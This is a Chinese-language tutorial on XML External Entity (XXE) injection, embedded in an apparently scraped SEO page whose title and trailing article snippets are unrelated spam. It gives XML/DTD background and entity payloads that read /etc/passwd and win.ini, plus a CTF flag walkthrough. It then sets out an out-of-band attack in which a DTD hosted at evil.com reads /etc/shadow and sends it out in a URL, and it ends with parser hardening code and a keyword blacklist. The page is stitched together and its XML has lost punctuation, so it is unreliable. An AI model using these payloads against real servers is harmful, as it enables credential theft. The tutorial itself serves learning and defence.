舟山集团网站建设网络公司 网站源码

张小明 2026/1/12 7:30:02
舟山集团网站建设,网络公司 网站源码,上海网站推广服务公司,电商设计模板声明#xff1a;本篇文章不涉及实际的攻击渗透等#xff0c;均在自己搭建的靶机下进行操作。仅限用于合法授权的安全测试、技术研究与学习交流目的#xff0c;禁止非法用途#xff0c;任何因违反此条约定而产生的全部法律责任及后果#xff0c;均需由您自行独立承担。 1.X…声明本篇文章不涉及实际的攻击渗透等均在自己搭建的靶机下进行操作。仅限用于合法授权的安全测试、技术研究与学习交流目的禁止非法用途任何因违反此条约定而产生的全部法律责任及后果均需由您自行独立承担。1.XXE攻击概述定义XXE攻击是一种利用XML解析器处理外部实体的能力通过构造恶意XML数据来执行攻击的技术。原理攻击者通过在XML数据中注入恶意的外部实体引用当程序解析该XML数据时会触发对外部实体的请求从而可能执行任意代码、读取敏感文件或发起其他攻击。2.XML和外部实体XML一种用于标记电子文件的标记语言具有结构性可用于标记数据和定义数据类型。XML 被设计为传输和存储数据其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息。XML 允许创作者定义自己的标签和自己的文档结构。语法XML元素都必须有关闭标签。XML 标签对大小写敏感。XML 必须正确地嵌套。XML 文档必须有根元素。XML 的属性值须加引号。结构XML 文档声明在文档的第一行XML 文档类型定义即DTDXXE 漏洞所在的地方XML 文档元素外部实体XML中的一种特性允许在XML文档中引用外部资源。攻击者可以利用这一点来引入恶意的外部实体。3.PHP中的XXE漏洞libxmlPHP中用于解析XML的库。从版本2.9.0开始libxml默认禁止解析外部实体以防止XXE攻击。模拟漏洞如果测试环境中的PHP使用的libxml版本大于2.9.1可以通过手动指定LIBXML_NOENT选项来开启外部实体解析功能从而模拟XXE漏洞。4.安全建议更新库版本确保使用最新版本的XML解析库以利用其内置的安全特性。禁用外部实体在生产环境中应始终禁用对外部实体的解析以防止XXE攻击。输入验证对所有用户输入进行严格的验证和过滤以防止恶意XML数据的注入。XXEXML External Entity 即外部实体从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时解析了攻击者伪造的外部实体而产生的。XML用于标记电子文件使其具有结构性的标记语言可以用来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素。其实XML是一门语言类似于html但是后来主要用xml的文档格式来传输数据但是现在比较新的系统大家之前传输数据用的都是json了。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的就是libxml,其在2.9.0的版本中默认是禁止解析xml外部实体内容的。如果你测试用的php中解析xml用的libxml的版本大于了2.9.1为了模拟漏洞,那么可以通过手动指定LIBXML_NOENT选项开启xml外部实体解析功能。详细教程https://www.w3school.com.cn/xml/xml_tree.asp5.XXE漏洞原理漏洞成因解析时未对XML外部实体加以限制导致攻击者将恶意代码注入到XML中导致服务器加载恶意的外部实体引发文件读取SSRF命令执行等危害操作。6.文档结构?xml version1.0 encodinggb2312 encodingUTF-8? //xml声明、版本、编码!DOCTYPE root SYSTEM http://www.xxx.com/file //定义DTD文件格式为:root指根节点名称system声明要使用的外部DTD文件路径后面加文件URL注意[]包裹。ELEMENT root (other) //元素声明声明xml中包含的元素声明中需要指定元素名称root、other等和元素类别、内容等ELEMENT to (#PCDATA) //--定义to元素为#PCDATA类型--ELEMENT generality content //ELEMENT标签用于声明实体关于实体的定义如下“实体”是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量xml解析器解析xml文件的时候会将被引用的值替换为实体内容实体分为预定义实体、普通实体、参数实体此处定义了普通实体generality内容为contentELEMENT % extendity SYSTEM http://www.xxx.com/file //定义参数实体格式为!ELEMENT % 参数名称 参数内容 引用格式%参数名称; 参数实体只能在DTD文件中引用内部DTD文件的参数引用只能出现于DTD标签可出现的位罝外部DTD文件参数实体的引用可以出于DTD标签内容比如!ELEMENT % Nanother %extendity; //引用参数外部实体7.DTD的基础知识7.1文档类型定义DTDDocument Type Definition 即文档类型定义用来为XML文档定义语法约束。可以嵌入在XML文档中(内部声明)也可以独立的放在一个文件中(外部引用)由于其支持的数据类型有限无法对元素或属性的内容进行详细规范在可读性和可扩展性方面也比不上XML Schema。这里也就是XXE存在的地方。参考链接http://www.w3school.com.cn/dtd/index.asp7.2作用DTD 主要用于指定 XML 或 HTML 文档中元素、属性、实体等的定义和规范。使用 DTD 可以定义标记、元素、实体、注释等从而确保 XML 或 HTML 等文档的结构和格式的正确性。DTD 可以内联在 XML 或 HTML 文档中也可以作为一个外部文件引用以进行重复使用。通过使用 DTD 可以实现文档的可验证性验证文档结构是否符合规范、可读性便于人类理解和可扩展性方便增加和调整文档内容。7.3DTD文档的三种格式1.内部DTD文档!DOCTYPE 根元素[定义内容]2.外部DTD文档!DOCTYPE 根元素 SYSTEM DTD文件路径3.内外部DTD文档结合!DOCTYPE 根元素 SYSTEM DTD文件路径 [定义内容]7.4基本的PAYLOAD结构对于安全人员来讲就认识下面的几行代码即可。首先了解下基本的PAYLOAD结构然后再介绍每部分涉及的知识点如下PAYLOAD开头进行了XML的声明然后使用DTD声明实体(这里使用了们e协议)最后使用XML获取实体的数据。上面的fles///etc/passwd这是直接读取服务器的/passwd文件内容。最后XML部分就是调用DTD的foo功能也就是调用xxe取出数据然后显示基本上任何xxe的攻击代码都是这么几部分。使用DTD实体的攻击方式DTD引用方式(简要了解)1. DTD内部声明!DOCTYPE 根元素 [元素声明]2. DTD外部引用!DOCTYPE 根元素名称 SYSTEM 外部DTD的URI3. 引用公共DTD!DOCTYPE 根元素名称 PUBLIC DTD标识名 公用DTD的URI7.5示例pikachu测试一下payload如下:而且你需要掌握的代码就这几行?xml version 1.0?!DOCTYPE ANY [!ENTITY f SYSTEM file:///C://1.txt]xf;/x先创建一个1.txt文件8.如何找xxe漏洞8.1找一些可提交数据的地方8.2抓包修改数据类型json转xml将json数据改为xml数据完成xxe攻击jarvisoj上的一道题目API调用这道题的题目说明是请设法获得目标机器/home/ctf/flag.txt中的flag值。进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框对其进行抓包。是一个json数据提交修改数据发现可以被解析修改为xml。成功获取到flagCTF{XxE_15_n0T_S7range_Enough}9.XXE攻击情况9.1两种情况有回显和无回显有回显就是请求有响应数据能看到无回显就是看不到响应数据9.2有回显特征​​攻击结果如文件内容、服务器响应直接显示在应用响应中。利用流程​​​​构造恶意XML?xml version1.0?!DOCTYPE data [!ENTITY exfil SYSTEM file:///C:/Windows/win.ini]dataexfil;/data发送请求通过HTTP POST上传XML数据至漏洞接口。结果回显响应中显示win.ini文件内容。; for 16-bit app support...[fonts]9.3无回显方式1让目标网站报错在报错信息中查看外带的目标服务器的敏感数据。目的通过触发目标网站的错误使其在错误信息中暴露敏感数据。步骤1注入恶意XML攻击者向目标服务器发送包含恶意外部实体的XML请求。2触发错误服务器在解析恶意XML时出错导致错误信息被记录或显示。3查看错误信息攻击者在错误信息中查找泄露的敏感数据如文件路径、数据库连接信息等。方式2通过请求的方式将目标服务器的敏感数据外带到攻击者的日志记录中。目的通过构造特定的请求将目标服务器的敏感数据外带到攻击者可以访问的地方。步骤1注入恶意XML攻击者向目标服务器发送包含恶意外部实体的XML请求。2外带数据恶意外部实体引用服务器上的敏感文件或数据并将其包含在响应中。3访问日志攻击者通过访问自己的请求日志获取包含敏感数据的响应内容。1.特征目标应用不返回敏感数据需通过DNS/HTTP请求外传数据到攻击者服务器。2.攻击流程1准备恶意DTD托管在攻击者服务器 http://evil.com/xxe.dtd!ENTITY % payload SYSTEM file:///etc/shadow!ENTITY % param !ENTITY % exfil SYSTEM http://evil.com/?leak%payload;%param;%exfil;注使用%声明参数实体仅在DTD中有效。2发送攻击XML?xml version1.0?!DOCTYPE data [!ENTITY % remote SYSTEM http://evil.com/xxe.dtd%remote; !-- 加载外部DTD --]data123/data3数据外传目标服务器解析XML → 加载外部DTDDTD中的%payload;读取本地文件通过%exfil;触发HTTP请求将文件内容拼接在URL参数中发送至evil.com10.XXE漏洞修复与防御1. 提高版本2. 代码修复PHPlibxml_disable_entity_loader(true);JAVADocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);setFeature(http://xml.org/sax/features/external-general-entities, false);setFeature(http://xml.org/sax/features/external-parameter-entities, false);Pythonfrom lxml import etreexmlData etree.parse(xmlSource, etree.XMLParser(resolve_entitiesFalse))3. 手动黑名单过滤(不推荐)过滤关键词!DOCTYPE、!ENTITY SYSTEM、PUBLIC
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

seo比较好的网站石家庄小程序平台开发

Molecular Operating Environment (MOE) 终极安装指南:3步快速完成药物设计软件部署 【免费下载链接】最新MolecularOperatingEnvironmentMOELinuxWindows下载指南 最新 Molecular Operating Environment (MOE) Linux Windows 下载指南本仓库提供最新版本的 Molecul…

张小明 2026/1/10 7:07:03 网站建设

精品课程网站设计网站建设数据库设计

深夜的办公室里,市场营销专业出身的周晓菲对着电脑屏幕上一行行看不懂的代码发呆,这位从传统营销跨界到AI制药领域的专业人士,正经历着职业生涯中最艰难的技术转型期。“我不需要成为技术专家,但至少要和工程师无障碍沟通。”周晓…

张小明 2026/1/10 7:07:07 网站建设

网站建设费 无形资产wordpress个人博客模板

绝区零自动化工具终极指南:解放双手的智能游戏助手 【免费下载链接】ZenlessZoneZero-OneDragon 绝区零 一条龙 | 全自动 | 自动闪避 | 自动每日 | 自动空洞 | 支持手柄 项目地址: https://gitcode.com/gh_mirrors/ze/ZenlessZoneZero-OneDragon 绝区零自动化…

张小明 2026/1/10 7:25:10 网站建设

电子商务 网站系统基本网站怎么做

Ultimate Vocal Remover技术栈深度剖析:从问题诊断到实战优化的完整指南 【免费下载链接】ultimatevocalremovergui 使用深度神经网络的声音消除器的图形用户界面。 项目地址: https://gitcode.com/GitHub_Trending/ul/ultimatevocalremovergui 音频分离技术…

张小明 2026/1/10 7:07:08 网站建设

怎样在浏览器上找网站杭州门户网站建设

uiautomator2 3.x版本升级攻略:5大核心变化与实战指南 【免费下载链接】uiautomator2 Android Uiautomator2 Python Wrapper 项目地址: https://gitcode.com/gh_mirrors/ui/uiautomator2 Android自动化测试工具uiautomator2迎来重大版本升级,从2.…

张小明 2026/1/10 7:28:50 网站建设

厦门市城市建设档案馆网站wordpress文字添加图片

Django-React-TyAdmin:三分钟构建现代化后台管理系统的终极方案 【免费下载链接】django-react-tyadmin 支持Python3.9,Django4! 类似 xadmin 的基于Model 快速生成前后台管理增删改查,筛选,搜索的后台管理自动化工具。Antd 界面好看现代化&a…

张小明 2026/1/10 7:07:08 网站建设